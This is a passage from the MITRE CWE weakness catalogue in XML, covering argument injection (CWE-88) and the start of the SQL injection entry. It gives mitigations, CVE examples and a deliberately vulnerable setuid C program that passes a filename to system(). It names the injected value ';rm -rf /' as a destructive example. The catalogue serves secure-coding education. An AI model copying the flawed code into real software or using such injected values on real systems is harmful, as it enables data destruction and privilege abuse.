						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Name, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description, Name,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Alternate XSS
						Syntax</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Failure to Sanitize Alternate
						XSS Syntax</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="88" Name="Argument Injection or Modification" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not sufficiently delimit the arguments being
					passed to a component in another control sphere, allowing alternate arguments to
					be provided, leading to potentially security-relevant
					changes.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>77</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in a Command ('Command Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>741</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>744</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>810</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A1 - Injection-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>875</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>878</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>At one layer of abstraction, this can overlap other weaknesses that have
						whitespace problems, e.g. injection of javascript into attributes of HTML
						tags.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could include arguments that allow unintended commands or
							code to be executed, allow sensitive data to be read or modified or
							could cause other unintended behavior.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Understand all the potential areas where untrusted inputs can enter
							your software: parameters or arguments, cookies, anything read from the
							network, environment variables, request headers as well as content, URL
							components, e-mail, files, databases, and any external systems that
							provide data to the application. Perform input validation at
							well-defined interfaces.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Directly convert your input type into the expected data type, such as
							using a conversion function that translates a string into a number.
							After converting to the expected data type, ensure that the input's
							values fall within the expected range of allowable values and that
							multi-field consistencies are maintained.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180,
							CWE-181). Make sure that your application does not inadvertently decode
							the same input twice (CWE-174). Such errors could be used to bypass
							whitelist schemes by introducing dangerous inputs after they have been
							checked. Use libraries such as the OWASP ESAPI Canonicalization
							control.</Text>
						            <Text>Consider performing repeated canonicalization until your input does
							not change any more. This will avoid double-decoding and similar
							scenarios, but it might inadvertently modify inputs that are allowed to
							contain properly-encoded dangerous content.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When exchanging data between components, ensure that both components
							are using the same character encoding. Ensure that the proper encoding
							is applied at each interface. Explicitly set the encoding you are using
							whenever the protocol allows you to do so.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When your application combines data from multiple sources, perform the
							validation after the sources have been combined. The individual data
							elements may pass the validation step but violate the intended
							restrictions after they have been combined.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use automated static analysis tools that target this type of weakness.
							Many modern techniques use data flow analysis to minimize the number of
							false positives. This is not a perfect solution, since 100% accuracy and
							coverage are not feasible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use dynamic tools and techniques that interact with the software using
							large test suites with many diverse inputs, such as fuzz testing
							(fuzzing), robustness testing, and fault injection. The software's
							operation may slow down, but it should not become unstable, crash, or
							generate incorrect results.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-30">
					          <Intro_Text>The following simple program accepts a filename as a command line
						argument and displays the contents of the file back to the user. The program
						is installed setuid root because it is intended for use as a learning tool
						to allow system administrators in-training to inspect privileged system
						files without giving them the ability to modify them or damage the
						system.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int main(char* argc, char** argv) {</Code>
							              <Block>
								                <Code>char cmd[CMD_MAX] = "/usr/bin/cat ";</Code>
								                <Code>strcat(cmd, argv[1]);</Code>
								                <Code>system(cmd);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Because the program runs with root privileges, the call to system()
							also executes with root privileges. If a user specifies a standard
							filename, the call works as expected. However, if an attacker passes a
							string of the form ";rm -rf /", then the call to system() fails to
							execute cat due to a lack of arguments and then plows on to recursively
							delete the contents of the root partition.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0113</Observed_Example_Reference>
					          <Observed_Example_Description>Canonical Example</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0150</Observed_Example_Reference>
					          <Observed_Example_Description> Web browser executes Telnet sessions using
						command line arguments that are specified by the web site, which could allow
						remote attackers to execute arbitrary commands.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0667</Observed_Example_Reference>
					          <Observed_Example_Description> Web browser allows remote attackers to execute
						commands by spawning Telnet with a log file option on the command line and
						writing arbitrary code into an executable file which is later executed.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0985</Observed_Example_Reference>
					          <Observed_Example_Description> Argument injection vulnerability in the mail
						function for PHP may allow attackers to bypass safe mode restrictions and
						modify command line arguments to the MTA (e.g. sendmail) possibly executing
						commands. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0907</Observed_Example_Reference>
					          <Observed_Example_Description> Help and Support center in windows does not
						properly validate HCP URLs, which allows remote attackers to execute
						arbitrary code via quotation marks in an "hcp://" URL.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0121</Observed_Example_Reference>
					          <Observed_Example_Description> Mail client does not sufficiently filter
						parameters of mailto: URLs when using them as arguments to mail executable,
						which allows remote attackers to execute arbitrary programs.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0473</Observed_Example_Reference>
					          <Observed_Example_Description>Web browser doesn't filter "-" when invoking
						various commands, allowing command-line switches to be specified.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0480</Observed_Example_Reference>
					          <Observed_Example_Description> Mail client allows remote attackers to execute
						arbitrary code via a URI that uses a UNC network share pathname to provide
						an alternate configuration file. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0489</Observed_Example_Reference>
					          <Observed_Example_Description> SSH URI handler for web browser allows remote
						attackers to execute arbitrary code or conduct port forwarding via the a
						command line option. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0411</Observed_Example_Reference>
					          <Observed_Example_Description>Web browser doesn't filter "-" when invoking
						various commands, allowing command-line switches to be specified.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4699</Observed_Example_Reference>
					          <Observed_Example_Description>Argument injection vulnerability in TellMe 1.2 and
						earlier allows remote attackers to modify command line arguments for the
						Whois program and obtain sensitive information via "--" style options in the
						q_Host parameter.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-1865</Observed_Example_Reference>
					          <Observed_Example_Description>Beagle before 0.2.5 can produce certain insecure
						command lines to launch external helper applications while indexing, which
						allows attackers to execute arbitrary commands. NOTE: it is not immediately
						clear whether this issue involves argument injection, shell metacharacters,
						or other issues.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2056</Observed_Example_Reference>
					          <Observed_Example_Description>Argument injection vulnerability in Internet
						Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to
						modify command line arguments to an invoked mail client via " (double quote)
						characters in a mailto: scheme handler, as demonstrated by launching
						Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is
						not clear whether this issue is implementation-specific or a problem in the
						Microsoft API.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2057</Observed_Example_Reference>
					          <Observed_Example_Description>Argument injection vulnerability in Mozilla
						Firefox 1.0.6 allows user-assisted remote attackers to modify command line
						arguments to an invoked mail client via " (double quote) characters in a
						mailto: scheme handler, as demonstrated by launching Microsoft Outlook with
						an arbitrary filename as an attachment. NOTE: it is not clear whether this
						issue is implementation-specific or a problem in the Microsoft
						API.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2058</Observed_Example_Reference>
					          <Observed_Example_Description>Argument injection vulnerability in Avant Browser
						10.1 Build 17 allows user-assisted remote attackers to modify command line
						arguments to an invoked mail client via " (double quote) characters in a
						mailto: scheme handler, as demonstrated by launching Microsoft Outlook with
						an arbitrary filename as an attachment. NOTE: it is not clear whether this
						issue is implementation-specific or a problem in the Microsoft
						API.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2312</Observed_Example_Reference>
					          <Observed_Example_Description>Argument injection vulnerability in the URI
						handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows
						remote authorized attackers to download arbitrary files via a URL that
						contains certain command-line switches.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-3015</Observed_Example_Reference>
					          <Observed_Example_Description>Argument injection vulnerability in WinSCP 3.8.1
						build 328 allows remote attackers to upload or download arbitrary files via
						encoded spaces and double-quote characters in a scp or sftp
						URI.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4692</Observed_Example_Reference>
					          <Observed_Example_Description>Argument injection vulnerability in the Windows
						Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and
						Server 2003 SP1 and earlier allows remote user-assisted attackers to execute
						arbitrary commands via a crafted file with a "/" (slash) character in the
						filename of the Command Line property, followed by a valid file extension,
						which causes the command before the slash to be executed, aka "Object
						Packager Dialogue Spoofing Vulnerability."</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6597</Observed_Example_Reference>
					          <Observed_Example_Description>Argument injection vulnerability in HyperAccess
						8.4 allows user-assisted remote attackers to execute arbitrary vbscript and
						commands via the /r option in a telnet:// URI, which is configured to use
						hawin32.exe.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0882</Observed_Example_Reference>
					          <Observed_Example_Description>Argument injection vulnerability in the telnet
						daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets
						certain client "-f" sequences as valid requests for the login program to
						skip authentication, which allows remote attackers to log into certain
						accounts, as demonstrated by the bin account.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1246</Observed_Example_Reference>
					          <Observed_Example_Description>Language interpreter's mail function accepts
						another argument that is concatenated to a string used in a dangerous
						popen() call. Since there is no neutralization of this argument, both OS
						Command Injection (CWE-78) and Argument Injection (CWE-88) are
						possible.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference>
					          <Reference_Author>Steven Christey</Reference_Author>
					          <Reference_Title>Argument injection issues</Reference_Title>
					          <Reference_Link>http://www.securityfocus.com/archive/1/archive/1/460089/100/100/threaded</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 10, "The Argument Array", Page
						567.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Argument Injection or Modification</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Sanitize the environment when invoking external
						programs</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV03-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not call system() if you do not need a command
						processor</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV04-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Sanitize data passed to complex subsystems</Mapped_Node_Name>
					          <Mapped_Node_ID>STR02-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Mail Command Injection </Mapped_Node_Name>
					          <Mapped_Node_ID>30</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Sanitize data passed to complex subsystems</Mapped_Node_Name>
					          <Mapped_Node_ID>STR02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Sanitize the environment when invoking external
						programs</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV03-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not call system() if you do not need a command
						processor</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV04-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>133</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>41</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>460</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>88</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Observed_Examples, References, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="89" Name="Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software constructs all or part of an SQL command using
					externally-influenced input from an upstream component, but it does not
					neutralize or incorrectly neutralizes special elements that could modify the
					intended SQL command when it is sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>Without sufficient removal or quoting of SQL syntax in user-controllable
						inputs, the generated SQL query can cause those inputs to be interpreted as
						SQL instead of ordinary user data. This can be used to alter query logic to
						bypass security checks, or to insert additional statements that modify the
						back-end database, possibly including execution of system commands.</Text>
					          <Text>SQL injection has become a common issue with database-driven web sites.
						The flaw is easily detected, and easily exploited, and as such, any site or
						software package with even a minimal user base is likely to be subject to an
						attempted attack of this kind. This flaw depends on the fact that SQL makes
						no real distinction between the control and data planes.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>864</Relationship_Target_ID>
					          <!--2011 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>801</Relationship_Target_ID>
					          <!--2010 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>77</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in a Command ('Command Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
